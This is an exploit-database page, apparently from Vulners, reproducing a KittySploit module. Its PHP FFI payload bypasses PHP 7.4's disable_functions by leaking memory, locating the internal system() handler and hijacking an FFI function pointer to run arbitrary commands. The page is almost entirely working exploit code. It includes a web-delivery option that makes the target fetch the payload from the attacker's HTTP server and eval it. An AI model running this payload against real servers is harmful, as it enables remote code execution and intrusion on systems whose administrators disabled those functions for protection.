Lucene search
+L

PHP 7.4 > ffi disable_functions bypass

🗓️ 01 Dec 2025 12:51:31Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 2 Views

PHP ffi disable_functions bypass leading to RCE, shell, and file read.

Refs
Code
from kittysploit import *
from lib.protocols.http.http_server import Http_server as HTTPServer

class Module(Post, HTTPServer):

	__info__ = {
		"name": "PHP 7.4 > ffi disable_functions bypass",
		"description": "PHP 7.4 > ffi disable_functions bypass",
		"arch": Arch.PHP,
	'agent': {
	    'risk': 'intrusive',
	    'effects': ['active_exploitation'],
	    'expected_requests': 2,
	    'reversible': False,
	    'approval_required': True,
	    'produces': ['risk_signals'],
	    'cost': 1.5,
	    'noise': 0.5,
	    'value': 1.0,
	    'requires': 	    {'min_endpoints': 0,
	     'min_params': 0,
	     'tech_hints_any': [],
	     'tech_hints_all': [],
	     'specializations_any': [],
	     'risk_signals_any': [],
	     'auth_session': False,
	     'capabilities_any': ['rce', 'shell', 'file_read'],
	     'capabilities_all': [],
	     'confidence_min': {},
	     'confidence_min_any': {},
	     'endpoint_pattern_any': [],
	     'param_any': [],
	     'api_surface_ready': False},
	    'chain': 	    {'produces_capabilities': [],
	     'consumes_capabilities': ['shell'],
	     'option_bindings': {},
	     'suggested_followups': []},
	},
	}
	
	command = OptString("uname -a", "command system to send", True)
	start_web_delivery = OptBool(False, "start web delivery", True)
	
	def check(self):
		"""Check if target is vulnerable"""
		return True
		
	def run(self):
		# Use raw f-string to preserve PHP braces while allowing command substitution
		data = rf"""
ini_set("display_errors", "On");
error_reporting(E_ALL);

function pwn($cmd) {{
    function allocate($amt, $fill) {{
        $buf = FFI::new("char [".$amt."]");
        $bufPtr = FFI::addr($buf);
        FFI::memset($bufPtr, $fill, $amt);
        return array($bufPtr, $buf);
    }}
    function leak($ptr, $n, $hex) {{
        if ( $hex == 0 ) {{
            return FFI::string($ptr, $n);
        }} else {{
            return bin2hex(FFI::string($ptr, $n));
        }}
    }}
    
    function ptrVal($ptr) {{
        $tmp = FFI::cast("uint64_t", $ptr);
        return $tmp->cdata;
    }}
    function Read($addr, $n = 8, $hex = 0) {{
        list($vulnBufPtr, $vulnBuf) = allocate(1, 0x42); // B*8
        $vulnBufPtrPtr = FFI::addr($vulnBufPtr);
        $vulnBufPtrVal = ptrVal($vulnBufPtr);
        $vulnBufPtrPtrVal = ptrVal($vulnBufPtrPtr);
        printf("vuln BufPtr =  %s\n", dechex($vulnBufPtrVal));
        printf("vuln BufPtrPtr =  %s\n", dechex($vulnBufPtrPtrVal));
        printf("-------\n\n");
        $packedAddr = pack("Q",$addr);
        FFI::memcpy($vulnBufPtrPtr, $packedAddr, 8);
        return leak($vulnBufPtr, $n, $hex);
    }}
    function Write($addr, $what, $n) {{
        list($vulnBufPtr, $vulnBuf) = allocate(1, 0x42); // B*8
        $vulnBufPtrPtr = FFI::addr($vulnBufPtr);
        $vulnBufPtrVal = ptrVal($vulnBufPtr);
        $vulnBufPtrPtrVal = ptrVal($vulnBufPtrPtr);
        printf("vuln BufPtr =  %s\n", dechex($vulnBufPtrVal));
        printf("vuln BufPtrPtr =  %s\n", dechex($vulnBufPtrPtrVal));
        printf("-------\n\n");
        $packedAddr = pack("Q",$addr);
        FFI::memcpy($vulnBufPtrPtr, $packedAddr, 8);    
        FFI::memcpy($vulnBufPtr, $what, $n);
    }}
    function isPtr($knownPtr, $testPtr) {{
        if ( ($knownPtr & 0xFFFFFFFF00000000) == ($testPtr & 0xFFFFFFFF00000000)) {{
            return 1;
        }} else {{
            return 0;
        }}
    }}
    function walkSearch($segmentLeak, $maxQWORDS, $target, $size = 8, $up = 0) {{
        $start = $segmentLeak;
        for($i = 0; $i < $maxQWORDS; $i++) {{
            if ( $up == 0 ) {{ // walk 'down' addresses
                $addr = $start - (8 * $i);
            }} else {{ // walk 'up' addresses
                $addr = $start + (8 * $i);
            }}
            //$leak = Read($addr, 8);
            $leak = unpack("Q", Read($addr))[1];
            
            // skip if its not a valid pointer...
            if ( isPtr($segmentLeak, $leak) == 0 ) {{
                continue;
            }}
            $leak2 = Read($leak, $n = $size);
            //printf("0x%x->0x%x = %s\n", $addr, $leak, $leak2);
            if( strcmp($leak2, $target) == 0 ) {{ # match
                return array ($leak, $addr);
            }}
        }}
        return array(0, 0);
    }}

    function getBinaryBase($textLeak) {{
        $start = $textLeak & 0xfffffffffffff000;
        for($i = 0; $i < 0x10000; $i++) {{
            $addr = $start - 0x1000 * $i;
            $leak = Read($addr, 7);
            //if($leak == 0x10102464c457f) {{ # ELF header
            if( strcmp($leak, "\x7f\x45\x4c\x46\x02\x01\x01") == 0 ) {{ # ELF header
                return $addr;
            }}
        }}
        return 0;
    }}
 
    function parseElf($base) {{
        $e_type = unpack("S", Read($base + 0x10, 2))[1];

        $e_phoff = unpack("Q", Read($base + 0x20))[1];
        $e_phentsize = unpack("S", Read($base + 0x36, 2))[1];
        $e_phnum = unpack("S", Read($base + 0x38, 2))[1];

        for($i = 0; $i < $e_phnum; $i++) {{
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = unpack("L", Read($header, 4))[1];
            $p_flags = unpack("L", Read($header + 4, 4))[1];
            $p_vaddr = unpack("Q", Read($header + 0x10))[1];
            $p_memsz = unpack("Q", Read($header + 0x28))[1];

            if($p_type == 1 && $p_flags == 6) {{ # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            }} else if($p_type == 1 && $p_flags == 5) {{ # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }}
        }}

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }}

    function getBasicFuncs($base, $elf) {{
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {{
            $leak = unpack("Q", Read($data_addr+ ($i * 8)))[1];
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {{
                $deref = unpack("Q", Read($leak))[1];
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            }} else continue;
            $leak = unpack("Q", Read($data_addr + (($i + 4) * 8)))[1];
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {{
                $deref = unpack("Q", Read($leak))[1];
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            }} else continue;
            return $data_addr + $i * 8;
        }}
    }}

    function getSystem($basic_funcs) {{
        $addr = $basic_funcs;
        do {{
            $f_entry = unpack("Q", Read($addr))[1];
            $f_name = Read($f_entry, 6) . "\0";

            if( strcmp($f_name, "system\0") == 0) {{ # system
                return unpack("Q", Read($addr + 8))[1];
            }}
            $addr += 0x20;
        }} while($f_entry != 0);
        return false;
    }}
    // Convenient for debugging
    function crash() {{
        Write(0x0, "AAAA", 4);
    }}
    
    
    printf("\n[+] Starting exploit...\n");    
    list($dummyPtr, $dummy) = allocate(64, 0x41);
    $dummyPtrVal = ptrVal($dummyPtr);
    $dummyPtrPtr = FFI::addr($dummyPtr);
    $dummyPtrPtrVal = ptrVal($dummyPtrPtr);
    
    printf("Dummy BufPtr =  0x%x\n", $dummyPtrVal);
    printf("Dummy BufPtrPtr = 0x%x\n", $dummyPtrPtrVal);
    $r = leak($dummyPtr, 64, 1);
    printf("Dummy buf:\n%s\n", $r);
    printf("-------\n\n");
    $r = Read($dummyPtrVal, 256, 1);
    printf("Read Test (DummyBuf):\n%s\n", $r);
    
    Write($dummyPtrVal, "CCCCCCCC", 8);
    $r = Read($dummyPtrVal, 256, 1);
    printf("Write Test (DummyBuf):\n%s\n", $r);
    // ----------
    */
    
    $handlersPtrPtr = $dummyPtrPtrVal - (6 * 8);
    printf("_zend_ffi_cdata.ptr.std.handlers = 0x%x\n", $handlersPtrPtr);
    
    $handlersPtr = unpack("Q", Read($handlersPtrPtr))[1]; // --> zend_ffi_cdata_handlers -> .bss
    printf("zend_ffi_cdata_handlers = 0x%x\n", $handlersPtr);
    
    // Find our 'known' value in the .rodata section -- in this case 'CORE'
    // (backup can be 'STDIO)'
    list($rodataLeak, $rodataLeakPtr) = walkSearch($handlersPtr, 0x400,"Core", $size=4);
    if ( $rodataLeak == 0 ) {{
        // If we failed let's just try to find PHP's base and hope for the best
        printf("Get rodata addr failed...trying for last ditch effort at PHP's ELF base\n");
        // use .txt leak
        $textLeak = unpack("Q", Read($handlersPtr+16))[1]; // zned_objects_destroy_object
        printf(".textLeak = 0x%x\n", $textLeak);
        $base = getBinaryBase($textLeak);
        if ( $base == 0 ) {{
            die("Failed to get binary base\n");
        }}
        printf("BinaryBase = 0x%x\n", $base);
        // parse elf
        if (!($elf = parseElf($base))) {{
            die("failed to parseElf\n");
        }}
        if (!($basicFuncs = getBasicFuncs($base, $elf))) {{
            die("failed to get basic funcs\n");
        }}
        if (!($zif_system = getSystem($basicFuncs))) {{
            die("Failed to get system\n");
        }}
        // XXX HERE XXX
        //die("Get rodata addr failed\n");
    }} else {{
        printf(".rodata leak ('CORE' ptr) = 0x%x->0x%x\n", $rodataLeakPtr, $rodataLeak);
    
        // Right after the "Core" ptrptr is zend_version's relro entry - XXX this may not be static
        // zend_version is in .data.rel.ro
        $dataRelroPtr = $rodataLeakPtr + 8;
        printf("PtrPtr to 'zend_verson' relro entry: 0x%x\n", $dataRelroPtr);
        
        // Read the .data.relro potr
        $dataRelroLeak = unpack("Q", Read($dataRelroPtr))[1];
        if ( isPtr($dataRelroPtr, $dataRelroLeak) == 0 ) {{
            die("bad zend_version entry pointer\n");
        }}
        printf("Ptr to 'zend_verson' relro entry: 0x%x\n", $dataRelroLeak);
        
        // Confirm this is a ptrptr to zend_version
        $r = unpack("Q", Read($dataRelroLeak))[1];
        if ( isPtr($dataRelroLeak, $r) == 0 ) {{
            die("bad zend_version entry pointer\n");
        }}
        
        printf("'zend_version' string ptr = 0x%x\n", $r);
        
        $r = Read($r, $n = 12);
        if ( strcmp($r, "zend_version") ) {{
            die("Failed to find zend_version\n");
        }}
        printf("[+] Verified data.rel.ro leak @ 0x%x!\n", $dataRelroLeak);
        
        
        /* Walk FORWARD the .data.rel.ro segment looking for the zif_system entry
          - this is a LARGE section...
        */
        list($systemStrPtr, $systemEntryPtr) = walkSearch($dataRelroLeak, 0x3000, "system", $size = 6, $up =1);
        if ( $systemEntryPtr == 0 ) {{
            die("Failed to find zif_system relro entry\n");
        }}
        printf("system relro entry = 0x%x\n", $systemEntryPtr);
        $zif_systemPtr = $systemEntryPtr + 8;
        $r = unpack("Q", Read($zif_systemPtr))[1];
        if ( isPtr($zif_systemPtr, $r) == 0 ) {{
            die("bad zif_system pointer\n");
        }}
        $zif_system = $r;
    }}
    printf("[+] zif_system @ 0x%x\n", $zif_system);
    
    // --------------------------- end of leak zif_system address
    // --------------------------- start call zif_system
    
    
    /* To call system in a controlled manner
       the easiest way is to create cdata object, write target RIP (zif_system's address) to it
       and finally modify it's zend_ffi_type_kind to ZEND_FFI_TYPE_FUNC to call it
    */
    $helper = FFI::new("char* (*)(const char *)");
    //$helper = FFI::new("char* (*)(const char *, int )"); // XXX if we want return_val control
    $helperPtr = FFI::addr($helper);
    
    //list($helperPtr, $helper) = allocate(8, 0x43);
    //$x[0] = $zif_system;
    $helperPtrVal = ptrVal($helperPtr);
    $helperPtrPtr = FFI::addr($helperPtr);
    $helperPtrPtrVal = ptrVal($helperPtrPtr);
    printf("helper.ptr_holder @ 0x%x -> 0x%x\n", $helperPtrPtrVal, $helperPtrVal);
    
    // Walk the type pointers
    //$helperObjPtr = $helperPtrPtrVal - (9 *8); // to top of cdata object
    //printf("helper CDATA object @ 0x%x\n", $helperObjPtr);
    $helperTypePtrPtr = $helperPtrPtrVal - (2 *8); // 2 DWORDS up the struct to *type ptr
    //printf("helper CDATA type PtrPtr @ 0x%x\n", $helperTypePtrPtr);
    $r = unpack("Q", Read($helperTypePtrPtr))[1];
    if ( isPtr($helperTypePtrPtr, $r) == 0 ) {{
        die("bad helper type  pointer\n");
    }}
    $helperTypePtr = $r;
    
    // Confirm it's currently ZEND_FFI_TYPE_VOID (0)
    $r = Read($helperTypePtr, $n=1, $hex=1);
    if ( strcmp($r, "00") ) {{
        die("Unexpected helper type!\n");
    }}
    
    printf("Current helper CDATA type @ 0x%x -> 0x%x -> ZEND_FFI_TYPE_VOID (0)\n", $helperTypePtrPtr, $helperTypePtr);
    
    // Set it to ZEND_FFI_TYPE_FUNC (16 w/ HAVE_LONG_DOUBLE else 15)
    Write($helperTypePtr, "\x10", 1);
    
    printf("Swapped helper CDATA type @ 0x%x -> 0x%x -> ZEND_FFI_TYPE_FUNC (16)\n", $helperTypePtrPtr, $helperTypePtr);
    
    // Finally write zif_system to the value
    Write($helperPtrVal, pack("Q", $zif_system), 8);

    $execute_data = str_shuffle(str_repeat("C", 5*8)); // 0x28 C's
    $execute_data .= pack("L", 0); // this.u1.type
    $execute_data .= pack("L", 1); // this.u2.num_args
    $execute_data .= str_shuffle(str_repeat("A", 0x18)); // fill out rest of zend_execute obj
    $execute_data .= str_shuffle(str_repeat("D", 8)); //padding
    
    $cmd_ = str_repeat("X", 16); // unk padding
    $cmd_ .= pack("Q", strlen($cmd)); // string len
    $cmd_ .= $cmd . "\0"; // ensure null terminated!
    list($cmdBufPtr, $cmdBuf) = allocate(strlen($cmd_), 0);
    $cmdBufPtrVal = ptrVal($cmdBufPtr);
    FFI::memcpy($cmdBufPtr, $cmd_, strlen($cmd_));
    printf("cmdBuf Ptr = 0x%x\n", $cmdBufPtrVal);
    
    // Now setup the zval object itself
    $zval = pack("Q", $cmdBufPtrVal); // zval.value (pointer to cmd string)
    $zval .= pack("L", 6); // zval.u1.type (IS_STRING [6])
    $zval .= pack("L", 0); // zval.u2 - unused
    
    $execute_data .= $zval;
    
    // ---------- end of setup argument object
    // ----------------------- start of build zif_system argument
    $res = $helper($execute_data);

}}
pwn("COMMAND_PLACEHOLDER");
		"""
		# Replace command placeholder with actual command
		command_escaped = self.command.replace('"', '\\"')
		data = data.replace("COMMAND_PLACEHOLDER", command_escaped)
		
		if self.start_web_delivery:
			host, port, httpd = self.web_delivery(data)
			print_info(self.cmd_execute(f"$a=file_get_contents('http://{host}:{port}');eval($a);"))
			self.web_shutdown(httpd)
		else:
			print_info(self.cmd_execute(data))
		return True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Aug 2026 20:51Current
5.8Medium risk
Vulners AI Score5.8
2